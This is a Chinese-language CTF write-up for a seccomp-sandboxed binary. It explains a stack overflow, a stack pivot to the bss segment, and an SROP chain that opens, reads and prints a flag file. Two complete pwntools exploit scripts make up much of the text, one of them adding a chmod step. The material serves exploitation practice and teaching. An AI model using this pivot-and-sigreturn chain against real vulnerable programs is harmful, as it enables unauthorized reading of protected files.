文章目录
- 检查
- 设置
- 注意事项
- 源码
- main函数
- sub_40143E(a1,a2,a3)
- sub_40119E()
- 沙箱规则
- sub_40136E()
- 思路
- 注意
- exp
- 无chmod版本
- 有chmod版本
检查
设置
在当前文件夹下或者其他地方建个flag文件,内容自己随意定😄
注意事项
记得将动态链接器和动态库的文件也设置为777的权限,不然无法执行成功文件
非常感谢chamd5的venom组的柘狐师傅和L1n3师傅的帮助
源码
main函数
sub_40143E(a1,a2,a3)
int sub_40143E()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}
sub_40119E()
__int64 sub_40119E()
{
__int64 result; // rax
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
perror("seccomp_init");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
result = seccomp_load(v1);
if ( (int)result < 0 )
{
perror("seccomp_load");
exit(1);
}
return result;
}
增加了一些沙箱
沙箱规则
允许read write open rt_sigreturn chmod函数(很明显可能要用到srop)
不允许exit_group函数
sub_40136E()
__int64 sub_40136E()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF
v2[0] = 0x6F6E6B2075206F44LL;
v2[1] = 0x6920746168772077LL;
v2[2] = 0xA3F444955532073LL;
strcpy(v1, "easyhack\n");
syscall(1LL, 1LL, v1, 9LL);
syscall(0LL, 0LL, &unk_404060, 4096LL);
syscall(1LL, 1LL, v2, 24LL);
syscall(0LL, 0LL, v1, 58LL);
return 0LL;
}
- 先将v1的九个字符内容打印出来
- 然后读入bss段上偏移404060位置内容4096个字节
- 然后输出v2内24个字节到终端上
- 然后再读入v1的58个字节
思路
存在栈溢出漏洞,并且只能修改rbp和返回地址,明显需要栈迁移
如果栈迁移后直接用onegadget获得的shellcode,但其满足的条件比较棘手,并且还需获得libc基地址
获得基地址应该可以通过两次执行sub_40136E()函数可以实现(第二次开始需要让rsp恢复和call调用方式一样,即rsp需要减8),因为v1有输出也有输入。满足对应shellcode的条件就比较麻烦了,期待各位的发挥
那么无法getshell就orw,结合沙箱也很明显,而orw需要大量有关系统调用的,然后在没获得libc基地址的情况下可以通过SROP的方式实现相应的gadget
-
第一次输入构造好栈迁移后的rop链
rop链:
构造第一次读的sigreturnfram,使得将需要获取的flag文件位置字符串输入到可以写入的内存位置
此时是否需要chmod的sigreturnfram看情况
构造第一次open的sigreturnfram,打开flag对应的文件,此时对应的文件描述符是3
构造第二次read的sigreturnfram,读取flag对应的文件的内容到某个可写的内存位置中
构造第一次write的sigreturnfram,将flag写入内存的内容输出到终端上从而获得flag -
第二次输入进行栈迁移从而上列的rop链
注意
rt_sigreturn系统调用函数会更新所有寄存器的值,没有设置的将默认为0,所以此时将必要的寄存器都有设置一遍,不存在什么顺序执行得到更新的。
创建文件1,文件2 ,由于进程启动会首先打开0,1,2(分别对应stdin、stdout、stderr),所以fd1=3,fd2=4;
关闭文件1后,fd=3被释放出来,所以再创建文件3时,fd3被分配的是当前最小描述符,即刚刚被释放的fd1,所以fd=3。
open函数和chmod函数的参数设置有点特殊在于它有字符串,在sigreturnfram中设置比较棘手。
对于chmod
int chmod(const char *pathname, mode_t mode);
对于第二个参数有下列设置,可以通过或从而同时设置
S_ISUID 执行时的set-user-ID
S_ISGID 执行时的set-group-ID
S_ISVTX saved-text(粘滞位)
S_IRWXU 用户读、写、执行
S_IRUSR 用户读
S_IWUSR 用户写
S_IXUSR 用户执行
S_IRWXG 组读、写、执行
S_IRGRP 组读
S_IWGRP 组写
S_IXGRP 组执行
S_IRWXO 其他人读、写、执行
S_IROTH 其他人读
S_IWOTH 其他人写
S_IXOTH 其他人执行
对应在sigreturn中的设置为constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH,此时是用户读|组读|其他人读
fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret
int open(const char *pathname, int flags);
第一个参数path表示:路径名或者文件名。路径名为绝对路径名(如C:/cpp/a.cpp),文件则是在当前工作目录下的。
第二个参数oflags表示:打开文件所采取的动作。
可能值:必须指定下面某一种:
O_RDONLY(只读),
O_WRONLY(只写),
O_RDWR(可读可写)
打开/创建文件时,至少得使用上述三个常量中的一个
以下的常量是选用的,这些选项是用来和上面的必选项进行按位或起来作为flags参数。
- O_APPEND 表示追加,如果原来文件里面有内容,则这次写入会写在文件的最末尾。
- O_CREAT 表示如果指定文件不存在,则创建这个文件
- O_EXCL 表示如果要创建的文件已存在,则出错,同时返回 -1,并且修改 errno 的值。
- O_TRUNC 表示截断,如果文件存在,并且以只写、读写方式打开,则将其长度截断为0。
- O_NOCTTY 如果路径名指向终端设备,不要把这个设备用作控制终端。
- O_NONBLOCK 如果路径名指向 FIFO/块文件/字符文件,则把文件的打开和后继 I/O设置为非阻塞模式(nonblocking mode)-
以下三个常量同样是选用的,它们用于同步输入输出
- O_DSYNC 等待物理 I/O 结束后再 write。在不影响读取新写入的数据的前提下,不等待文件属性更新。
- O_RSYNC read 等待所有写入同一区域的写操作完成后再进行
- O_SYNC 等待物理 I/O 结束后再 write,包括更新文件属性的 I/O
对应在sigreturn中的设置为constants.O_RDONLY,此时是只读形式打开
fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_ret
exp
无chmod版本
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118A
fram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_ret
"""
不一定会用到
fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=7
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret
"""
fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272 # +272
fram_open.rip=syscall_poprbp_ret
fram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272#+272 如果用到chmod 的frame需要加272
fram_read2.rip=syscall_poprbp_ret
fram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272#+272 如果用到chmod 的frame需要加272
fram_write.rip=syscall_poprbp_ret
payload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272
#payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)
payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)
payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)
payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)
s.recvuntil(b"easyhack\n")
s.send(payload)
payload=42*b"a"+p64(bss)+p64(leave_ret) # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)
payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()
有chmod版本
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118A
fram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_ret
fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret
fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_ret
print("open的第二个参数",constants.O_RDONLY)# 就是O_RDONLY
print("chmod的第二个参数",constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH)
fram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272+272
fram_read2.rip=syscall_poprbp_ret
fram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272+272
fram_write.rip=syscall_poprbp_ret
payload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272
payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)
payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)
payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)
payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)
s.recvuntil(b"easyhack\n")
s.send(payload)
payload=42*b"a"+p64(bss)+p64(leave_ret) # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)
payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()